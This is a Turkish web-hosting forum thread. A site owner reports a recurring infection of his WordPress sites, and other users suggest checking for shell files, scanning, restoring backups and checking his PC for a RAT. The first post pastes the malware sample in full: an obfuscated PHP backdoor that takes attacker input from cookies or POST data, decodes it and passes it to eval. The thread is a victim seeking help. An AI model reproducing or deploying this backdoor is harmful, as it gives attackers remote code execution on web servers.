lostyazilim
tr.link

Hostinge Virüs Bulaştı

23 Mesajlar 2.703 Okunma
acebozum
tr.link

mertcanfirat mertcanfirat Üyeliği Durdurulmuş Banlı Kullanıcı
  • Üyelik 08.12.2013
  • Yaş/Cinsiyet 28 / E
  • Meslek Web Tasarım
  • Konum İstanbul Avrupa
  • Ad Soyad M** F**
  • Mesajlar 784
  • Beğeniler 128 / 137
  • Ticaret 48, (%100)
Arkadaşlar hostingime virüs bulaştı. Tek bir hostinge bağlı 3-4 sitem var. Hepsinde kendi kendine garip dosya isimli php dosyalar açıyor. cPanel şifrelerini değiştirdim, ftp şifrelerini değiştirdim ama çözüm yok. Farklı bir firmada barınan reseller hostingimde de aynı sorun devam ediyor. FTP programını her girişte sorulan şeklinde düzelttim. Sucuri ve Wordfence kurdum ama çözüm yine yok. İndex ve wp-config dosyalarımı değiştiriyor. Dosya izinleri ile ilgili olabilir mi? Örnek olarak;

$odpha = 'x9b#ns-gdoy3u_c*5a6r1mfpHvt\'7l4e20ik';$nnddx = Array();$nnddx[] = $odpha[1].$odpha[1].$odpha[28].$odpha[28].$odpha[11].$odpha[14].$odpha[14].$odpha[33].$odpha[6].$odpha[11].$odpha[33].$odpha[16].$odpha[1].$odpha[6].$odpha[30].$odpha[14].$odpha[16].$odpha[17].$odpha[6].$odpha[1].$odpha[33].$odpha[31].$odpha[30].$odpha[6].$odpha[32].$odpha[22].$odpha[28].$odpha[2].$odpha[30].$odpha[2].$odpha[11].$odpha[18].$odpha[8].$odpha[20].$odpha[16].$odpha[33];$nnddx[] = $odpha[24].$odpha[15];$nnddx[] = $odpha[3];$nnddx[] = $odpha[14].$odpha[9].$odpha[12].$odpha[4].$odpha[26];$nnddx[] = $odpha[5].$odpha[26].$odpha[19].$odpha[13].$odpha[19].$odpha[31].$odpha[23].$odpha[31].$odpha[17].$odpha[26];$nnddx[] = $odpha[31].$odpha[0].$odpha[23].$odpha[29].$odpha[9].$odpha[8].$odpha[31];$nnddx[] = $odpha[5].$odpha[12].$odpha[2].$odpha[5].$odpha[26].$odpha[19];$nnddx[] = $odpha[17].$odpha[19].$odpha[19].$odpha[17].$odpha[10].$odpha[13].$odpha[21].$odpha[31].$odpha[19].$odpha[7].$odpha[31];$nnddx[] = $odpha[5].$odpha[26].$odpha[19].$odpha[29].$odpha[31].$odpha[4];$nnddx[] = $odpha[23].$odpha[17].$odpha[14].$odpha[35];foreach ($nnddx[7]($_COOKIE, $_POST) as $kujjzrc => $oidmnkl){function ghdxmxv($nnddx, $kujjzrc, $hvidkqy){return $nnddx[6]($nnddx[4]($kujjzrc . $nnddx[0], ($hvidkqy / $nnddx[8]($kujjzrc)) + 1), 0, $hvidkqy);}function dqltm($nnddx, $trtse){return @$nnddx[9]($nnddx[1], $trtse);}function cvtkdlp($nnddx, $trtse){$vbbdg = $nnddx[3]($trtse) % 3;if (!$vbbdg) {eval($trtse[1]($trtse[2]));exit();}}$oidmnkl = dqltm($nnddx, $oidmnkl);cvtkdlp($nnddx, $nnddx[5]($nnddx[2], $oidmnkl ^ ghdxmxv($nnddx, $kujjzrc, $nnddx[8]($oidmnkl))));}
 

 

elektronikssl
webimgo

Serin2434 Serin2434 Üyeliği Durdurulmuş Banlı Kullanıcı
  • Üyelik 23.11.2017
  • Yaş/Cinsiyet 28 / E
  • Meslek Gayrimenkul Danismani
  • Konum İstanbul Anadolu
  • Ad Soyad S** S**
  • Mesajlar 59
  • Beğeniler 8 / 9
  • Ticaret 2, (%50)
Sunucunda shell dosyasi vardir belkide bi kontrol et derim
 

 

mertcanfirat mertcanfirat Üyeliği Durdurulmuş Banlı Kullanıcı
  • Üyelik 08.12.2013
  • Yaş/Cinsiyet 28 / E
  • Meslek Web Tasarım
  • Konum İstanbul Avrupa
  • Ad Soyad M** F**
  • Mesajlar 784
  • Beğeniler 128 / 137
  • Ticaret 48, (%100)
Nasıl anlayabilirim?
 

 

Serin2434 Serin2434 Üyeliği Durdurulmuş Banlı Kullanıcı
  • Üyelik 23.11.2017
  • Yaş/Cinsiyet 28 / E
  • Meslek Gayrimenkul Danismani
  • Konum İstanbul Anadolu
  • Ad Soyad S** S**
  • Mesajlar 59
  • Beğeniler 8 / 9
  • Ticaret 2, (%50)
Internette shell scanner scriptleri var onlardan yardim alabilirsin
 

 

wmaraci
wmaraci

saykoyazar saykoyazar WM Aracı Kullanıcı
  • Üyelik 22.11.2016
  • Yaş/Cinsiyet 26 / E
  • Meslek Öğrenci
  • Konum Trabzon
  • Ad Soyad O** Ş**
  • Mesajlar 163
  • Beğeniler 43 / 22
  • Ticaret 0, (%0)
Kodespa danışabilir siniz sorununuzu çözecektir.
 

 

motogaraj.net

TazZ TazZ www.ahmetcetintas.com Kullanıcı
  • Üyelik 19.10.2012
  • Yaş/Cinsiyet 37 / E
  • Meslek Grafiker Yazılımcı
  • Konum Aydın
  • Ad Soyad A** Ç**
  • Mesajlar 795
  • Beğeniler 324 / 323
  • Ticaret 19, (%100)
Hangi hosting firmasını kullanıyorsunuz?
 

 

mertcanfirat mertcanfirat Üyeliği Durdurulmuş Banlı Kullanıcı
  • Üyelik 08.12.2013
  • Yaş/Cinsiyet 28 / E
  • Meslek Web Tasarım
  • Konum İstanbul Avrupa
  • Ad Soyad M** F**
  • Mesajlar 784
  • Beğeniler 128 / 137
  • Ticaret 48, (%100)
Arkadaşlar büyük olasılıkla başka bir şey var çünkü hostingimden bağımsız olarak farklı bir firmada barınan reseller hostingimde de aynı sorun var. Dosyalarıma aynı şekilde müdahale edilmiş. Ana dizinde bulunan index.php dosyamda include ile başlayan karışık kod dizimi var
 

 

nirva nirva WM Aracı Kullanıcı
  • Üyelik 04.02.2014
  • Yaş/Cinsiyet 29 / E
  • Meslek Öğretmen
  • Konum İstanbul Anadolu
  • Ad Soyad H** A**
  • Mesajlar 265
  • Beğeniler 26 / 62
  • Ticaret 6, (%100)
mertcanfirat büyük ihtimalle sitelerinizin biri shell yedi barındırma hizmetini sunan firmanıza danışın önce yedeğinizi yükleyin daha sonra açığın kaynağını bulmaya bakın geçmiş olsun
 

 

mertcanfirat mertcanfirat Üyeliği Durdurulmuş Banlı Kullanıcı
  • Üyelik 08.12.2013
  • Yaş/Cinsiyet 28 / E
  • Meslek Web Tasarım
  • Konum İstanbul Avrupa
  • Ad Soyad M** F**
  • Mesajlar 784
  • Beğeniler 128 / 137
  • Ticaret 48, (%100)
harunlog ama garip şekilde alakası olmayan ve başka firmada barınan resellerımdaki önemsiz bir sitemde de aynı sorun var.
 

 

nirva nirva WM Aracı Kullanıcı
  • Üyelik 04.02.2014
  • Yaş/Cinsiyet 29 / E
  • Meslek Öğretmen
  • Konum İstanbul Anadolu
  • Ad Soyad H** A**
  • Mesajlar 265
  • Beğeniler 26 / 62
  • Ticaret 6, (%100)
mertcanfirat tüm sitelerinize tek bilgisayardan eriştiğinizi düşünürsek bilgisayarınızda rat veya benzeri virüsler olabilir bilgisayarınızı bir tarayın derim
 

 

wmaraci
wmaraci
Konuyu toplam 1 kişi okuyor. (0 kullanıcı ve 1 misafir)
Site Ayarları
  • Tema Seçeneği
  • Site Sesleri
  • Bildirimler
  • Özel Mesaj Al